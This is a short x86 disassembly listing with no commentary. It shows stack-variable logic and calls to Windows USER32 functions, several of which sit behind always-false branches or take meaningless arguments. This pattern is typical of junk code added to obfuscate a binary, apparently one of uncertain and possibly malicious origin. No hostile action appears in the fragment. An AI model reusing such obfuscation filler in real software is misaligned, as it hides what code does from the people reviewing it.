mov dword [ebp - 0x194], 1
jmp 0x100453a4
and dword [ebp - 0x194], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3d0]
cmp eax, dword [ebp - 0x194]
jg 0x100453c2
mov eax, 0xc6ea
test eax, eax
je 0x100453db
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14], 0
je 0x100453db
mov dword [ebp - 0x19c], 1
jmp 0x100453e2
and dword [ebp - 0x19c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14]
cmp dword [ebp - 0x19c], eax
jge 0x1004540a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14], 0
jne 0x1004540a
and dword [ebp - 0x1a4], 0
jmp 0x10045414
mov dword [ebp - 0x1a4], 1
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x3a0], eax
mov byte [ebp - 0x65], 0
movzx eax, byte [ebp - 0x65]
test eax, eax
je 0x10045443
push 0x213d
call dword [sym.imp.USER32.dll_GetKeyboardType]
jmp 0x100451bb
push 0xdbf
push 0x1328
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov dword [ebp - 0x108], 0xffffffff
mov dword [ebp - 0x100], 0
jmp 0x1004548b
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 3
jge 0x100454a7
mov eax, dword [ebp - 0x100]
mov dword [ebp + eax*4 - 0x588], 0xfffffff6
jmp 0x1004547e
mov byte [ebp - 0x45], 0
movzx eax, byte [ebp - 0x45]
test eax, eax
je 0x100454c5
push 0x12ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 0x108], 2
jmp 0x100454de
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x10045507
mov byte [ebp - 0x55], 0
movzx eax, byte [ebp - 0x55]
test eax, eax
je 0x10045505
push 0x12ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
jmp 0x100454d1
mov esp, ebp
pop ebp
ret